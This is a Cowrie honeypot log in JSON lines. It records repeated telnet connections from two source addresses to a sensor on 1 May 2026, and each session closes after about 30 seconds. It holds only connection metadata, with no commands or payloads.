{"eventid":"cowrie.session.closed","duration":30.747725248336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.108715Z","src_ip":"208.115.219.122","session":"7805219b1ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85651397705078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.113936Z","src_ip":"208.115.200.90","session":"b74a4a07beb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34434,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad343d47b12","protocol":"telnet","message":"New connection: 208.115.219.122:34434 (10.17.0.5:23) [session: aad343d47b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.128734Z"}
{"eventid":"cowrie.session.closed","duration":30.88957691192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.141320Z","src_ip":"208.115.200.90","session":"bb0ee0364bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141469717025757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.177160Z","src_ip":"208.115.200.90","session":"3ecb3cc184ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34460,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6bc36bb59c","protocol":"telnet","message":"New connection: 208.115.219.122:34460 (10.17.0.5:23) [session: da6bc36bb59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.231664Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40672,"dst_ip":"10.17.0.5","dst_port":23,"session":"794027169ede","protocol":"telnet","message":"New connection: 208.115.200.90:40672 (10.17.0.5:23) [session: 794027169ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.245884Z"}
{"eventid":"cowrie.session.closed","duration":31.07755970954895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.253151Z","src_ip":"208.115.200.90","session":"928602250c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202413082122803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.287326Z","src_ip":"208.115.219.122","session":"3f0143869607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30093812942505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.360418Z","src_ip":"208.115.219.122","session":"54c49c249229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28992986679077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.365591Z","src_ip":"208.115.219.122","session":"cd8647a23a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c68fb1097e","protocol":"telnet","message":"New connection: 208.115.219.122:34468 (10.17.0.5:23) [session: c1c68fb1097e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.476475Z"}
{"eventid":"cowrie.session.closed","duration":31.118340969085693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.503102Z","src_ip":"208.115.219.122","session":"231b1a984077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542002201080322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.695559Z","src_ip":"208.115.219.122","session":"f21e715862f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40756,"dst_ip":"10.17.0.5","dst_port":23,"session":"30bc7de6fcc9","protocol":"telnet","message":"New connection: 208.115.200.90:40756 (10.17.0.5:23) [session: 30bc7de6fcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.733167Z"}
{"eventid":"cowrie.session.closed","duration":31.278670072555542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.834090Z","src_ip":"208.115.200.90","session":"9345bd6bffcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86953854560852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.034596Z","src_ip":"208.115.219.122","session":"106cee21bcb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963290691375732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.040468Z","src_ip":"208.115.200.90","session":"1b6a5a3f0a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34584,"dst_ip":"10.17.0.5","dst_port":23,"session":"52274da7b7c7","protocol":"telnet","message":"New connection: 208.115.219.122:34584 (10.17.0.5:23) [session: 52274da7b7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.046344Z"}
{"eventid":"cowrie.session.closed","duration":30.597326278686523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.051948Z","src_ip":"208.115.219.122","session":"4c01946a517c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40770,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d1924e92e7","protocol":"telnet","message":"New connection: 208.115.200.90:40770 (10.17.0.5:23) [session: 41d1924e92e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.074159Z"}
{"eventid":"cowrie.session.closed","duration":31.010578155517578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.079936Z","src_ip":"208.115.219.122","session":"ca6b6be467f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05034041404724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.089324Z","src_ip":"208.115.219.122","session":"ef4beca65918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34588,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd73bc0452e8","protocol":"telnet","message":"New connection: 208.115.219.122:34588 (10.17.0.5:23) [session: fd73bc0452e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.093002Z"}
{"eventid":"cowrie.session.closed","duration":30.989014148712158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.099313Z","src_ip":"208.115.219.122","session":"793c1e04ae30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050912380218506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.124327Z","src_ip":"208.115.219.122","session":"f20c6211f5e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09929919242859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.189457Z","src_ip":"208.115.219.122","session":"23e72a2630e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34630,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ecd994e1878","protocol":"telnet","message":"New connection: 208.115.219.122:34630 (10.17.0.5:23) [session: 6ecd994e1878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.218786Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40778,"dst_ip":"10.17.0.5","dst_port":23,"session":"76664c2606d5","protocol":"telnet","message":"New connection: 208.115.200.90:40778 (10.17.0.5:23) [session: 76664c2606d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.254469Z"}
{"eventid":"cowrie.session.closed","duration":30.86680030822754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.267100Z","src_ip":"208.115.219.122","session":"d33267221368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d402a13857e1","protocol":"telnet","message":"New connection: 208.115.219.122:34644 (10.17.0.5:23) [session: d402a13857e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.298370Z"}
{"eventid":"cowrie.session.closed","duration":31.294986724853516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.360110Z","src_ip":"208.115.219.122","session":"7b5be47bd1d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012559175491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.377670Z","src_ip":"208.115.200.90","session":"8bd45e2a5f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34652,"dst_ip":"10.17.0.5","dst_port":23,"session":"204dd45fa906","protocol":"telnet","message":"New connection: 208.115.219.122:34652 (10.17.0.5:23) [session: 204dd45fa906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.393180Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40842,"dst_ip":"10.17.0.5","dst_port":23,"session":"05f5ca77138a","protocol":"telnet","message":"New connection: 208.115.200.90:40842 (10.17.0.5:23) [session: 05f5ca77138a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.461428Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40928,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb1cd1e4e3e","protocol":"telnet","message":"New connection: 208.115.200.90:40928 (10.17.0.5:23) [session: 2fb1cd1e4e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:38.700752Z"}
{"eventid":"cowrie.session.closed","duration":30.58724570274353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.031999Z","src_ip":"208.115.200.90","session":"1e7d82a25914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34774,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bebd42ec028","protocol":"telnet","message":"New connection: 208.115.219.122:34774 (10.17.0.5:23) [session: 8bebd42ec028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.038973Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34782,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db991ce0c31","protocol":"telnet","message":"New connection: 208.115.219.122:34782 (10.17.0.5:23) [session: 0db991ce0c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.045607Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34798,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f08a9112d69","protocol":"telnet","message":"New connection: 208.115.219.122:34798 (10.17.0.5:23) [session: 6f08a9112d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.098756Z"}
{"eventid":"cowrie.session.closed","duration":30.93686580657959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.253264Z","src_ip":"208.115.200.90","session":"19194e10057c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058905363082886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.260253Z","src_ip":"208.115.200.90","session":"c52597bff8f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180081605911255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.280296Z","src_ip":"208.115.200.90","session":"e8ea07c22ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865748643875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.304434Z","src_ip":"208.115.200.90","session":"a452c750defe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b618816b294","protocol":"telnet","message":"New connection: 208.115.219.122:34882 (10.17.0.5:23) [session: 8b618816b294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.349432Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34898,"dst_ip":"10.17.0.5","dst_port":23,"session":"76221729693c","protocol":"telnet","message":"New connection: 208.115.219.122:34898 (10.17.0.5:23) [session: 76221729693c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.354849Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34922,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbbfef3e7ee0","protocol":"telnet","message":"New connection: 208.115.219.122:34922 (10.17.0.5:23) [session: cbbfef3e7ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.398022Z"}
{"eventid":"cowrie.session.closed","duration":31.067814111709595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.449902Z","src_ip":"208.115.219.122","session":"2c725d2ba942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199459075927734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.488458Z","src_ip":"208.115.200.90","session":"7a8e1aea6a44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6c00c0eb2f3","protocol":"telnet","message":"New connection: 208.115.200.90:41630 (10.17.0.5:23) [session: d6c00c0eb2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.634331Z"}
{"eventid":"cowrie.session.closed","duration":31.54574990272522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.778299Z","src_ip":"208.115.219.122","session":"1908017a742a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34958,"dst_ip":"10.17.0.5","dst_port":23,"session":"37bea2ef3ebf","protocol":"telnet","message":"New connection: 208.115.219.122:34958 (10.17.0.5:23) [session: 37bea2ef3ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.785663Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42110,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ede28b6946b","protocol":"telnet","message":"New connection: 208.115.200.90:42110 (10.17.0.5:23) [session: 2ede28b6946b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.838472Z"}
{"eventid":"cowrie.session.closed","duration":31.931811571121216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:39.974622Z","src_ip":"208.115.219.122","session":"83dc2a0d2cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759746313095093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.018056Z","src_ip":"208.115.219.122","session":"6c9687e00a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78087544441223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.033360Z","src_ip":"208.115.219.122","session":"0dd03704eaf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35004,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf77da91545","protocol":"telnet","message":"New connection: 208.115.219.122:35004 (10.17.0.5:23) [session: 4cf77da91545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.037388Z"}
{"eventid":"cowrie.session.closed","duration":31.01577854156494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.044562Z","src_ip":"208.115.219.122","session":"3b69d21efc8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"89438f31233a","protocol":"telnet","message":"New connection: 208.115.200.90:42558 (10.17.0.5:23) [session: 89438f31233a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.057645Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42582,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ff6fecdbfb","protocol":"telnet","message":"New connection: 208.115.200.90:42582 (10.17.0.5:23) [session: e7ff6fecdbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.124418Z"}
{"eventid":"cowrie.session.closed","duration":30.412400722503662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.191729Z","src_ip":"208.115.200.90","session":"bcdcbe933309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35102,"dst_ip":"10.17.0.5","dst_port":23,"session":"332f495a17f7","protocol":"telnet","message":"New connection: 208.115.219.122:35102 (10.17.0.5:23) [session: 332f495a17f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.216932Z"}
{"eventid":"cowrie.session.closed","duration":30.63129711151123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.259681Z","src_ip":"208.115.200.90","session":"6f0040edfa05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35204,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f39c34d6fef","protocol":"telnet","message":"New connection: 208.115.219.122:35204 (10.17.0.5:23) [session: 8f39c34d6fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.350133Z"}
{"eventid":"cowrie.session.closed","duration":30.96683120727539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.355240Z","src_ip":"208.115.200.90","session":"10babaefd9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06855320930481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.411644Z","src_ip":"208.115.219.122","session":"a1a531c3449c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35430,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6bc394163e","protocol":"telnet","message":"New connection: 208.115.219.122:35430 (10.17.0.5:23) [session: 4f6bc394163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.726813Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43902,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e026abf8ec9","protocol":"telnet","message":"New connection: 208.115.200.90:43902 (10.17.0.5:23) [session: 8e026abf8ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:40.926304Z"}
{"eventid":"cowrie.session.closed","duration":30.883681774139404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.012376Z","src_ip":"208.115.219.122","session":"e6b31f51dacb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44090,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e8676e4cc3","protocol":"telnet","message":"New connection: 208.115.200.90:44090 (10.17.0.5:23) [session: 08e8676e4cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.016203Z"}
{"eventid":"cowrie.session.closed","duration":30.900272130966187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.024926Z","src_ip":"208.115.219.122","session":"eecad54cdd5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44138,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe43900c0198","protocol":"telnet","message":"New connection: 208.115.200.90:44138 (10.17.0.5:23) [session: fe43900c0198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.030488Z"}
{"eventid":"cowrie.session.closed","duration":30.943559646606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.053905Z","src_ip":"208.115.219.122","session":"0f1c5bc0f953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35786,"dst_ip":"10.17.0.5","dst_port":23,"session":"045831b418cf","protocol":"telnet","message":"New connection: 208.115.219.122:35786 (10.17.0.5:23) [session: 045831b418cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.114446Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"953a1d770f25","protocol":"telnet","message":"New connection: 208.115.219.122:35812 (10.17.0.5:23) [session: 953a1d770f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.145104Z"}
{"eventid":"cowrie.session.closed","duration":30.23144221305847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.151477Z","src_ip":"208.115.219.122","session":"a4cb5e057516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35814,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b827163615e","protocol":"telnet","message":"New connection: 208.115.219.122:35814 (10.17.0.5:23) [session: 8b827163615e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.164422Z"}
{"eventid":"cowrie.session.closed","duration":30.66906762123108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.282940Z","src_ip":"208.115.200.90","session":"4597820f0dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35906,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8444b834738","protocol":"telnet","message":"New connection: 208.115.219.122:35906 (10.17.0.5:23) [session: d8444b834738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.326037Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44302,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c993fe9bda7","protocol":"telnet","message":"New connection: 208.115.200.90:44302 (10.17.0.5:23) [session: 2c993fe9bda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.364646Z"}
{"eventid":"cowrie.session.closed","duration":31.119441270828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.458472Z","src_ip":"208.115.200.90","session":"dcbe5c53f044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44580,"dst_ip":"10.17.0.5","dst_port":23,"session":"917f108a0e49","protocol":"telnet","message":"New connection: 208.115.200.90:44580 (10.17.0.5:23) [session: 917f108a0e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:41.540088Z"}
